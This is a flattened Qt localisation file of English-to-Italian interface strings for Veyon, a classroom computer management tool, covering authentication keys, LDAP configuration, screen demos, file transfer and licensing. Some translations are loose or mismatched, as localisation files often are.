+ Importa chiave pubblica o privata + + + Export public or private key + Esporta chiave pubblica o privata + + + Extract public key from existing private key + Estrai la chiave pubblica dalla chiave privata esistente + + + Set user group allowed to access a key + Imposta il gruppo utente autorizzato ad accedere a una chiave + + + KEY + CHIAVE + + + ACCESS GROUP + GRUPPO DI ACCESSO + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + Questo comando regola le autorizzazioni di accesso ai file in modo tale che solo il gruppo di utenti abbia accesso in lettura ad esso. + + + NAME + NOME + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + Questo comando crea una nuova coppia di chiavi di autenticazione con nome +e salva la chiave privata e pubblica per le directory chiave configurate. + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + Questo comando elimina la chiave di autenticazione dalla directory delle chiavi configurata. Si noti che una chiave non può essere recuperata una volta cancellata. + + + FILE + FILE + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + Questo comando esporta la chiave di autenticazione<KEY> su <FILE>. Se <FILE>non viene specificato un nome sarà costruito dal nome e tipo di <KEY>. + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + Questo comando importa la chiave di autenticazione. Se non viene specificato un nome sarà costruito dal nome e tipo. + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + Questo comando elenca tutte le chiavi di autenticazione disponibili nella directory delle chiavi configurate. Se viene specificata l'opzione "% 1", verrà visualizzata una tabella con i dettagli chiave. Alcuni dettagli potrebbero mancare se una chiave non è accessibile, ad es. a causa della mancanza di permessi di lettura. + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + Questo comando estrae la parte della chiave pubblica dalla chiave privata +e lo salva come chiave pubblica corrispondente. + + + Please specify the command to display help for! + Si prega di specificare il comando per visualizzare la guida per! + + + TYPE + TIPO + + + PAIR ID + COPPIA ID + + + Command line support for managing authentication keys + Supporto da riga di comando per la gestione delle chiavi di autenticazione + + + Commands for managing authentication keys + Comandi per la gestione delle chiavi di autenticazione + + + + AuthKeysTableModel + + Name + Nome + + + Type + Tipo + + + Access group + Gruppo di accesso + + + Pair ID + Coppia ID + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + Stanze & computer + + + Rooms + Stanze + + + Computers + Computer + + + Name + Nome + + + Host address/IP + Indirizzo host/IP + + + MAC address + indirizzo MAC + + + Add new room + Aggiungi una nuova stanza + + + Remove selected room + Rimuovi la stanza selezionata + + + Add new computer + Aggiungi un nuovo computer + + + Remove selected computer + Rimuovi il computer selezionato + + + New room + Nuova stanza + + + New computer + Nuovo computer + + + Builtin directory + Directory incorporata + + + + BuiltinDirectoryPlugin + + Show help for specific command + Mostra l'aiuto per un comando specifico + + + Add a room or computer + Aggiungi una stanza o un computer + + + Clear all rooms and computers + Cancella tutte le stanze e i computer + + + Dump all or individual rooms and computers + Scarica tutte le stanze o i singoli computer + + + List all rooms and computers + Elenca tutte le stanze e i computer + + + Remove a room or computer + Rimuovere una stanza o un computer + + + Import objects from given file + Importa oggetti dal file specificato + + + Export objects to given file + Esportare oggetti nel file specificato + + + Invalid type specified. Valid values are "%1" or "%2". + Tipo non valido specificato. I valori validi sono "% 1" o "% 2". + + + Type + Tipo + + + Name + Nome + + + Host address + Indirizzo dell'host + + + MAC address + indirizzo MAC + + + Specified object not found. + Oggetto specificato non trovato. + + + File "%1" does not exist! + Il file "% 1" non esiste! + + + Can't open file "%1" for reading! + Impossibile aprire il file "% 1" per la lettura! + + + Unknown argument "%1". + Argomento sconosciuto "% 1". + + + Room "%1" + Stanza "% 1" + + + Computer "%1" (host address: "%2" MAC address: "%3") + Computer "% 1" (indirizzo host: "% 2" indirizzo MAC: "% 3") + + + Unclassified object "%1" with ID "%2" + Oggetto non classificato "% 1" con ID "% 2" + + + None + Nessuna + + + Room + Stanza + + + Computer + Computer + + + Root + Root + + + Invalid + Non valido + + + Error while parsing line %1. + Errore durante l'analisi della riga% 1. + + + Network object directory which stores objects in local configuration + Directory dell'oggetto di rete che memorizza gli oggetti nella configurazione locale + + + Builtin (computers and rooms in local configuration) + Built In (computer e stanze nella configurazione locale) + + + Commands for managing the builtin network object directory + Comandi per la gestione della directory dell'oggetto di rete incorporato + + + No format string or regular expression specified! + Nessuna stringa di formato o espressione regolare specificata! + + + Can't open file "%1" for writing! + Impossibile aprire il file "% 1" per la scrittura! + + + No format string specified! + Nessuna stringa di formato specificata! + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + +USO + +%1 export <FILE> [stanza <ROOM>] [formato <FORMAT-STRING-WITH-VARIABLES>] + +Variabili valide: %tipo% %nome% %host% %mac% %room% + +Esempi: + +* Esporta tutti gli oggetti in un file CSV: + + %1 export objects.csv format "%type%; %name%;%host%;%mac%" + + * Esporta tutti i computer in una stanza in un file CSV: + +%1 export computers.csv room "Room 01" format"%name%;%host%;%mac%" + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + +USO + +%1 aggiungi <TYPE> <NAME> [<HOST ADDRESS><MAC ADDRESS><PARENT>] +Aggiunge un oggetto in cui TYPE può essere uno di "%2" o "%3". PARENT può essere specificato per nome o UUID. + +Esempi: + + * Aggiungi una stanza: + + %1 aggiungi stanza "Stanza 01" + +* Aggiungi un computer alla stanza "Stanza 01": + + %1 aggiungi computer " Computer 01 "comp01.example.com 11: 22: 33: 44: 55: 66 "Stanza 01" + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + +USO +%1 rimuovi <OBJECT> + +Rimuove l'oggetto specificato dalla directory. OBJECT può essere specificato per nome o UUID. La rimozione di una stanza rimuoverà anche tutti i computer all'interno. + +Esempi: + +* Rimuovi un computer per nome: %1 rimuovi "Computer 01" + +* Rimuovi un oggetto da UUID: + + %1 rimuovi 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + Object UUID + Oggetto UUID + + + Parent UUID + Genitore UUID + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + +USO + +%1 importazione<FILE> [stanza <ROOM>] [formato <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Variabili valide: %type% % nome% %host% %mac% %stanza% + +Esempi: + +* Importa file CSV semplice in una singola stanza: + +%1 import stanza computers.csv "Stanza 01" formato "%nome%,%host%,%mac%" + +* Importa file CSV con nome stanza nella prima colonna: %1 importazione computer-con-stanze.csv formato "%stanza%,% nome%,%mac%" + + * Importa il file di testo con le coppie chiave / valore usando le espressioni regolari: + +%1 import hostlist.txt room "Stanza 01" regex "^NAME:(%nome%:. *)\s+HOST:(%host%..*)$" + +* Importa dati formattati arbitrariamente: + +%1 import data.txt regex '^"(%room%:[^]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + Server VNC incorporato (UltraVNC) + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + Server VNC incorporato (x11vnc) + + + + ComputerControlListModel + + Room: %1 + Stanza: %1 + + + Host/IP address: %1 + Host/indirizzo IP: %1 + + + Active features: %1 + Funzioni attive: %1 + + + Online and connected + Connessi e online + + + Establishing connection + Connessione in corso + + + Computer offline or switched off + Computer disconnesso o spento + + + Service unreachable or not running + Servizio irraggiungibile o non in esecuzione + + + Authentication failed or access denied + Autenticazione fallita o accesso negato + + + Disconnected + Disconnesso + + + No user logged on + Nessun utente connesso + + + Logged on user: %1 + Utente connesso: %1 + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + %1 Servizio %2 alle %3:%4 + + + Authentication error + Errore di autenticazione + + + Remote access + Accesso remoto + + + User "%1" at host "%2" is now accessing this computer. + L'utente "% 1" sull'host "% 2" sta ora accedendo a questo computer. + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + L'utente "% 1" sull'host "% 2" ha tentato di accedere a questo computer ma non è riuscito ad autenticarsi correttamente! + + + + ComputerManagementView + + Computer management + Gestione del computer + + + Add room + Aggiungi una stanza + + + Save computer/user list + Salva la lista di computer/utenti + + + Select output filename + Seleziona il nome del file d'uscita + + + CSV files (*.csv) + File CSV (*.csv) + + + File error + Errore nel file + + + Could not write the computer and users list to %1! Please check the file access permissions. + Impossibile scrivere l'elenco computer e utenti su %1! Controllare i permessi di accesso al file. + + + Computer search + Ricerca computer + + + + ComputerManager + + User + Utente + + + Missing network object directory plugin + Manca il plugin per l'elencazione degli oggetti di rete + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + Non è stato trovato alcun plugin predefinito per l'elencazione degli oggetti di rete. Per favore controllare l'installazione o configurare un diverso backend per l'elenco degli oggetti di rete attraverso %1 Configurator. + + + Computer name;Host name;User + Nome computer;Nome host;Utente + + + Room detection failed + Rilevamento stanza fallito + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + Impossibile determinare la stanza a cui questo computer appartiene. Questo indica un problema con la configurazione del sistema. Come alternativa, nella gestione del computer verranno mostrate tutte le stanze. + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + Per favore indicare un file di configurazione esistente da importare. + + + Please specify a valid filename for the configuration export. + Per favore indicare un nome di file valido per esportare la configurazione. + + + Please specify a valid key. + Per favore indicare una chiave valida. + + + Specified key does not exist in current configuration! + La chiave indicata non esiste nella configurazione corrente! + + + Please specify a valid value. + Per favore indicare un valore valido. + + + Configure Veyon at command line + Non è possibile modificare gli argomenti passati a %1 + + + Output file is not writable! + Non si dispone dei permessi di scrittura per il file di destinazione. + + + Output directory is not writable! + Non si dispone dei permessi di scrittura nella cartella di destinazione + + + Configuration file is not readable! + Non è possibile leggere il file di configurazione! + + + Clear system-wide Veyon configuration + Eliminazione della configurazione di Veyon su tutto il sistema. + + + List all configuration keys and values + Lista di tutte le chiavi di configurazione e dei loro valori. + + + Import configuration from given file + Importa una configurazione da file. + + + Export configuration to given file + Esporta una configurazione su file. + + + Read and output configuration value for given key + Leggi e stampa i valori di configurazione delle chiavi date + + + Write given value to given configuration key + Imposta il valore della chiave di configurazione + + + Unset (remove) given configuration key + Dimentica (rimuovi) la chiave di configurazione data + + + Commands for managing the configuration of Veyon + Comandi di configurazione + + + Upgrade and save configuration of program and plugins + Aggiorna e salva la configurazione del programma e dei plugin + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + Impossibile modificare la proprietà autostart per il %1 Service. + + + Could not configure the firewall configuration for the %1 Server. + Impossibile configurare la configurazione del firewall per% 1 Server. + + + Could not configure the firewall configuration for the %1 Worker. + Impossibile configurare la configurazione del firewall per% 1 operatore. + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + Non è possibile cambiare i settaggi del SAS via software. L'invio della combinazione Ctrl+Alt+Del da terminale remoto non produrrà risultati. + + + Configuration is not writable. Please check your permissions! + La configurazione non è scrivibile. Per favore controlla le tue autorizzazioni! + + + + DemoClient + + %1 Demo + %1 Demo + + + + DemoConfigurationPage + + Demo server + Server per la modalità Presentazione + + + Tunables + Modificabili + + + ms + ms + + + Key frame interval + Intervallo del Key frame + + + Memory limit + Limite memoria + + + Use multithreading (experimental) + Utilizzo multithreading (sperimentale) + + + MB + MB + + + Update interval + Intervallo di aggiornamento + + + s + s + + + + DemoFeaturePlugin + + Fullscreen demo + Presenta su schermo intero + + + Stop demo + Ferma Presentazione + + + Window demo + Presenta in finestra + + + Give a demonstration by screen broadcasting + Esemplificare trasmettendo il proprio schermo + + + Demo server + Server per la modalità Presentazione + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + In questa modalità il tuo schermo sarà visualizzato su tutti i computer client a tutto schermo. Inoltre gli utenti non saranno in grado di svolgere altre azioni, in quanto le periferiche di input saranno bloccate. + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + In questa modalità il tuo schermo sarà visualizzato in una finestra su tutti i computer client. Gli utenti, pertanto, potranno cambiare finestra e continuare il loro lavoro. + + + + DesktopAccessDialog + + Desktop access dialog + Finestra di accesso al Desktop + + + Confirm desktop access + Conferma l'accesso + + + Never for this session + Mai per questa sessione + + + Always for this session + Sempre per questa sessione + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + L' utente %1 desidera collegarsi al tuo PC dal PC %2. Desideri concedergli l'accesso? + + + + DesktopServicesConfigurationPage + + Programs & websites + Programmi e siti Web + + + Predefined programs + Programmi predefiniti + + + Name + Nome + + + Path + Percorso + + + Add new program + Aggiungi un nuovo programma + + + Remove selected program + Rimuovi il programma selezionato + + + Predefined websites + Siti Web predefiniti + + + Remove selected website + Rimuovi il sito Web selezionato + + + URL + URL + + + New program + Nuovo programma + + + New website + Nuovo sito web + + + + DesktopServicesFeaturePlugin + + Run program + Apri un programma + + + Open website + Collegamento ad un sito internet + + + Click this button to open a website on all computers. + Clicca su questo pulsante per aprire un sito internet su tutti i PC. + + + Please enter the URL of the website to open: + Inserisci l'indirizzo del sito da aprire: + + + Start programs and services in user desktop + Attiva il programma sul PC remoto + + + Click this button to run a program on all computers. + Clicca su questo pulsante per lanciare un programma su tutti i PC + + + Run program "%1" + Esegui il programma "% 1" + + + Custom program + Programma personalizzato + + + Open website "%1" + Apri il sito web "% 1" + + + Custom website + Sito web personalizzato + + + + ExternalVncServer + + External VNC server + Server VNC esterno + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + Parametri del server VNC esterno + + + Port: + Porta: + + + Password: + Password: + + + + FeatureControl + + Feature control + Controllo delle opzioni + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + Impossibile aprire il file "% 1" per la lettura! Per favore controlla le tue autorizzazioni! + + + + FileTransferDialog + + File transfer + Trasferimento di file + + + Options + Opzioni + + + Transfer only + Solo trasferimento + + + Transfer and open file(s) with associated program + Trasferisci e apri i file(s) con il programma associato + + + Transfer and open destination folder + Trasferisci e apri la cartella di destinazione + + + Files + Files + + + Start + Inizio + + + Overwrite existing files + Sovrascrivi i file esistenti + + + + FileTransferPlugin + + File transfer + Trasferimento di file + + + Click this button to transfer files from your computer to all computers. + Fare clic su questo pulsante per trasferire i file dal computer a tutti i computer. + + + Select one or more files to transfer + Seleziona uno o più file da trasferire + + + Transfer files to remote computer + Trasferisci i file sul computer remoto + + + Received file "%1". + File ricevuto "% 1". + + + Could not receive file "%1" as it already exists. + Impossibile ricevere il file "% 1" già esiste. + + + Could not receive file "%1" as it could not be opened for writing! + Impossibile ricevere il file "% 1" in quanto non può essere aperto per la scrittura! + + + + GeneralConfigurationPage + + User interface + Interfaccia Utente + + + Language: + Linguaggio: + + + Use system language setting + Utilizza la lingua predefinita + + + Veyon + Veyon + + + Logging + Fase di autenticazione + + + Log file directory + Cartella per il Log file + + + ... + ... + + + Log level + Livello di Log + + + Nothing + Nessun log + + + Only critical messages + Solo i messaggi critici + + + Errors and critical messages + Errori e messaggi critici + + + Warnings and errors + Avvisi (warnings) ed errori + + + Information, warnings and errors + Informazioni, avvisi e errori + + + Debug messages and everything else + Messaggi di debug e quant'altro + + + Limit log file size + Limite per il file di log + + + Clear all log files + Cancella tutti i file di log + + + Log to standard error output + Log sullo standard error output + + + Network object directory + Directory dell'oggetto di rete + + + Backend: + Backend: + + + Update interval: + Intervallo di aggiornamento: + + + %1 service + Servizio %1 + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + Il servizio %1 deve essere riavviato per consentire la rimozione dei file di log. Continuare? + + + Log files cleared + File di Log cancellati + + + All log files were cleared successfully. + Tutti i file di Log sono stati cancellati. + + + Error + Errore + + + Could not remove all log files. + Impossibile cancellare tutti i file di Log. + + + MB + MB + + + Rotate log files + Ruotare i file di registro + + + x + x + + + seconds + secondi + + + Write to logging system of operating system + Scrivi nel sistema di log del sistema operativo + + + Authentication + Autenticazione + + + Method: + Metodo: + + + Logon authentication + Autenticazione di accesso (Logon) + + + Key file authentication + Autenticazione con File chiave + + + + InternetAccessControlConfigurationPage + + Internet access control + Controllo dell'accesso a Internet + + + Backend: + Backend: + + + General settings + Impostazioni generali + + + Backend settings + Impostazioni back-end + + + + InternetAccessControlPlugin + + Block access to the internet + Blocca l'accesso a Internet + + + Allow access to the internet + Consentire l'accesso a Internet + + + Show help about command + Mostra aiuto per i comandi + + + Block internet + Blocca internet + + + Click this button to block access to the internet. + Fare clic su questo pulsante per bloccare l'accesso a Internet. + + + Unblock internet + Sblocca internet + + + Click this button to allow access to the internet. + Fare clic su questo pulsante per consentire l'accesso a Internet. + + + Control access to the internet + Controlla l'accesso a Internet + + + Commands for controlling access to the internet + Comandi per il controllo dell'accesso a Internet + + + + LdapBrowseDialog + + Browse LDAP + + + + + LdapClient + + LDAP error description: %1 + Descrizione errore LDAP: %1 + + + No LDAP error description available + Nessuna descrizione dell'errore LDAP disponibile + + + + LdapConfigurationPage + + LDAP + LDAP + + + Basic settings + Impostazioni di base + + + General + Generale + + + LDAP server and port + Indirizzo e porta del server LDAP + + + Bind DN + Bind DN + + + Bind password + Bind password + + + Anonymous bind + Anonymous bind + + + Use bind credentials + Use bind credentials + + + Test + Test + + + Base DN + Base DN + + + Fixed base DN + Fixed base DN + + + e.g. dc=example,dc=org + e.g. dc=example,dc=org + + + Discover base DN by naming context + Discover base DN by naming context + + + e.g. namingContexts or defaultNamingContext + e.g. namingContexts or defaultNamingContext + + + Environment settings + Impostazioni ambiente + + + Object trees + Alberatura oggetti + + + Computer tree + Alberatura Pc + + + e.g. OU=Groups + e.g. OU=Groups + + + User tree + Alberatura utenti + + + e.g. OU=Users + e.g. OU=Users + + + e.g. OU=Computers + e.g. OU=Computers + + + Group tree + Alberatura gruppi + + + Perform recursive search operations in object trees + Ricerca anche nelle sottocartelle + + + Object attributes + Attributi degli oggetti + + + e.g. hwAddress + e.g. hwAddress + + + Computer host name attribute + Attributo del nome del computer host + + + e.g. member or memberUid + Per esempio membro o membroUid + + + User login attribute + Attributo del login utente + + + e.g. dNSHostName + Per esempio dNSHostName + + + Computer MAC address attribute + Attributo dell'indirizzo MAC del computer + + + Group member attribute + Attributo del gruppo del membro + + + e.g. uid or sAMAccountName + Per esempio uid o sAMAccountName + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + I nomi degli host sono salvati come nomi di dominio completi (FQDN, per esempio myhost.exaple.org) + + + Advanced settings + Impostazioni avanzate + + + Optional object filters + Filtro per oggetti opzionale + + + Filter for user groups + Filtro per gruppo utenti + + + Filter for users + Filtro Users + + + Filter for computer groups + Filtro Gruppo computer + + + Group member identification + Identificazione membro del gruppo + + + Distinguished name (Samba/AD) + Nome distinto (Samba/AD) + + + Configured attribute for user login or computer host name (OpenLDAP) + Attributo configurato per login utente o nome host computer (OpenLDAP) + + + List all groups of a user + Visualizza i gruppi a cui appartiene un User + + + List all groups of a computer + Visualizza i gruppi a cui appartiene un computer + + + Get computer object by IP address + Identifica il computer mediante indirizzo IP + + + LDAP connection failed + Connessione al server LDAP fallita + + + LDAP bind failed + Il bind con il server LDAP è fallito. Verificare la sintassi delle credenziali + + + LDAP bind successful + Il bind con il server LDAP è riuscito. + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + Collegato correttamente al server LDAP ed eseguito un binding LDAP. Le impostazioni LDAP di base sono configurate correttamente. + + + LDAP base DN test failed + Test LDAP base DN fallito + + + LDAP base DN test successful + Test LDAP base DN riuscito + + + LDAP naming context test failed + Test per contesto nominazione LDAP fallito + + + LDAP naming context test successful + Test di contesto di denominazione LDAP riuscito + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + LDAP interrogato con successo. Il seguente base DN è stato trovato: +%1 + + + user tree + albero utenti + + + group tree + albero gruppi + + + computer tree + albero computer + + + Enter username + Inserire il nome utente + + + Please enter a user login name (wildcards allowed) which to query: + Inserire un nome utente di login (caratteri speciali ammessi) per il quale effettuare la query + + + user objects + user objects + + + user login attribute + user login attribute + + + Enter group name + Inserire il nome del gruppo + + + Please enter a group name whose members to query: + Inserire il nome di un gruppo in cui ricercare i membri + + + group members + Membri del gruppo + + + group member attribute + group member attribute + + + Group not found + Gruppo non trovato + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + Non è possibile trovare il gruppo %1. Verificare il nome del gruppo inserito e i parametri LDAP dei gruppi. + + + Enter computer name + Inserire il nome del computer + + + Please enter a computer host name to query: + Inserire il nome host del computer da ricercare. + + + Invalid host name + Nome host non valido + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + Hai configurato gli host names dei computes per essere memorizzati come fully qualified domain names (FQDN) ma hai inserito un host name senza dominio. + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + Hai configurato gli hostname dei computer per essere salvati come semplici hostname senza un dominio, ma hai inserito un hostname che ha come parte del suo nome un dominio + + + computer objects + oggetti computer + + + computer host name attribute + attributi hostname computer + + + Enter computer DN + Inserisci il DN del computer + + + Please enter the DN of a computer whose MAC address to query: + Inserisci il DN di un computer il cui indirizzo MAC e' da ricercare + + + computer MAC addresses + indirizzi MAC computer + + + computer MAC address attribute + attributo indirizzo MAC computer + + + users + utenti + + + user groups + gruppi di utenti + + + computer groups + gruppi computer + + + Please enter a user login name whose group memberships to query: + Si prega di inserire un nome utente di accesso di appartenenza al gruppo da interrogare: + + + groups of user + gruppi di utenti + + + user login attribute or group membership attribute + attributo di login utente o attributo di appartenenza a gruppo + + + User not found + Utente non trovato + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + Non e' stato possibile trovare un utente con il nome "%1". Controlla il nome utente o il parametro di alberatura utenti. + + + Enter host name + Inserisci nome host + + + Please enter a computer host name whose group memberships to query: + Inserisci un nome host di un computer di cui devi ricercare appartenenze ai gruppi: + + + groups of computer + gruppi di computer + + + computer host name attribute or group membership attribute + attributo nome host computer o attributo appartenenza gruppo + + + Computer not found + Computer non trovato + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + Non e' stato possibile trovare un computer con il nome host "%1". Controlla il nome host o il parametro di alberatura computer. + + + Enter computer IP address + Inserisci indirizzo IP del computer + + + Please enter a computer IP address which to resolve to an computer object: + Si prega di inserire un indirizzo IP del computer da risolvere a un oggetto computer: + + + Host name lookup failed + Ricerca nome host fallita + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + Non e' stato possibile ricercare nome host per l'indirizzo IP %1. Controlla le impostazioni del tuo server DNS. + + + computers + computer + + + LDAP %1 test failed + Test %1 LDAP fallito + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + Impossibile interrogare qualsiasi voce nella %1 configurata. Si prega di verificare il parametro &1. + +%2 + + + LDAP %1 test successful + Test %1 LDAP completato con successo + + + The %1 has been queried successfully and %2 entries were found. + Il %1 e' stato interrogato con successo e sono state trovate %2 voci. + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + Impossibile interrogare qualsiasi %1. Si prega di verificare il parametro %2 oppure inserire il nome di un oggetto esistente. + +%3 + + + %1 %2 have been queried successfully: + +%3 + %1 %2 sono stati interrogati con successo: + +%3 + + + LDAP filter test failed + Test filtro LDAP falllito + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + Impossibile interrogare qualsiasi %1 usando il filtro configurato. Si prega di verificare il filtro LPAP per %1. + +%2 + + + LDAP filter test successful + Test filtro LDAP completato con successo + + + %1 %2 have been queried successfully using the configured filter. + %1 %2 sono stati interrogati con successo usando il filtro configurato. + + + (only if different from group tree) + (solo se diverso dall'albero gruppo) + + + Computer group tree + Albero gruppo computer + + + computer group tree + albero gruppo computer + + + Filter for computers + Filtra per computer + + + e.g. room or computerLab + e.g. room o computerLab + + + List all members of a computer room + Elenca tutti i membri di una stanza computer + + + List all computer rooms + Lista di tutte le stanze computer + + + Enter computer room name + Inserisci nome stanza computer + + + Please enter the name of a computer room (wildcards allowed): + Inserisci il nome di una stanza computer (wildcards consentite): + + + computer rooms + stanze computer + + + computer room attribute + attributo stanza computer + + + Please enter the name of a computer room whose members to query: + Si prega di inserire il nome della stanza computer di cui interrogarne i membri: + + + computer room members + membri stanza computer + + + computer group filter or computer room member aggregation + filtro gruppo computer o aggregazione membri di stanza computer + + + Computer rooms + Stanze computer + + + Integration tests + Test integrazione + + + Computer room attribute + Attributi stanza computer + + + Aggregate computers in a room via: + Aggrega i computer in una stanza tramite: + + + Computer groups + Gruppi computer + + + Computer room attribute in computer objects + Attributi stanze computer in oggetti computer + + + Test not applicable + Test non applicabile + + + Computer room name attribute + Attributo nome stanza computer + + + e.g. name or description + es. nome o descrizione + + + Filter for computer containers + Filtra per contenitori computer + + + Computer containers or OUs + Contenitoru computer o OUs + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + Per favore cambia le impostazioni della stanza computer per usare i gruppi di computer o i container di computer come stanze di computer. In seguito gli attributi impostati invece del nome comune dei gruppi di computer o degli oggetti container saranno ricercati. Altrimenti non e' necessario che tu configuri questo attributo. + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + Per favore cambia qui sotto le impostazioni di questa stanza computer per usare i container di computer come stanze di computer. Altrimenti non serve che tu configuri questo filtro + + + Connection security + Sicurezza della connessione + + + TLS certificate verification + Verifica del certificato TLS + + + System defaults + Impostazioni di sistema + + + Never (insecure!) + Mai (insicuro!) + + + Custom CA certificate file + File certificato CA personalizzato + + + None + Nessuna + + + TLS + TLS + + + SSL + SSL + + + e.g. (objectClass=computer) + per esempio. (OgettoClasse = computer) + + + e.g. (objectClass=group) + per esempio:(Oggetto Classe = gruppo) + + + e.g. (objectClass=person) + per esempio: (oggetto Classe=persona) + + + e.g. (objectClass=room) or (objectClass=computerLab) + per esempio: (oggetto Classe=stanza) or (oggetto Classe=Laboratorio computer) + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + per esempio (oggetto Classe=container) o (oggetto Classe=Unità Organizzativa) + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + Impossibile interrogare il DN base configurato. Controlla il parametro DN di base.% 1 + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + Il DN base LDAP è stato interrogato correttamente. Sono state trovate le seguenti voci: % 1 + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + Impossibile interrogare il DN di base tramite i contesti di denominazione. Controlla il parametro dell'attributo del contesto di denominazione.% 1 + + + Certificate files (*.pem) + File di certificato (* .pem) + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + Impossibile connettersi al server LDAP. Controlla i parametri del server.% 1 + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + Impossibile collegarsi al server LDAP. Controlla i parametri del server e associa le credenziali.% 1 + + + Encryption protocol + Protocollo di crittografia + + + + LdapPlugin + + Auto-configure the base DN via naming context + Configura automaticamente la base DN tramite contesto di denominazione + + + Query objects from LDAP directory + Interrogare oggetti dalla directory LDAP + + + Show help about command + Mostra aiuto sul comando + + + Commands for configuring and testing LDAP/AD integration + Comandi per la configurazione ed il testing dell'integrazione LDAP/AD + + + Provide LDAP/AD integration for Veyon + Fornire l'integrazione LDAP / AD per Veyon + + + LDAP (load computers and rooms from LDAP/AD) + LDAP (carica computer e stanze da LDAP / AD) + + + LDAP (load users and groups from LDAP/AD) + LDAP (carica utenti e gruppi da LDAP / AD) + + + + LicensingConfigurationPage + + Licensing + Licenze + + + Installed licenses + Licenze installate + + + Add new network range + Aggiungi un nuovo intervallo di rete + + + Remove selected network range + Rimuovi l'intervallo di rete selezionato + + + ID + ID + + + Feature + Funzionalità + + + Valid until + Valido fino a + + + Licensee + Licenziatario + + + Browse license file + Sfoglia il file di licenza + + + Veyon license files (*.vlf) + File di licenza Veyon (* .vlf) + + + Remove license + Rimuovi la licenza + + + Do you really want to remove the selected license? + Vuoi veramente rimuovere la licenza selezionata? + + + <N/A> + <N/A> + + + Invalid license file + File di licenza non valido + + + Could not open the license file for reading! + Impossibile aprire il file di licenza per la lettura! + + + The selected license file does not contain valid data. + Il file di licenza selezionato non contiene dati validi. + + + The selected license file could not be verified. + Non è stato possibile verificare il file di licenza 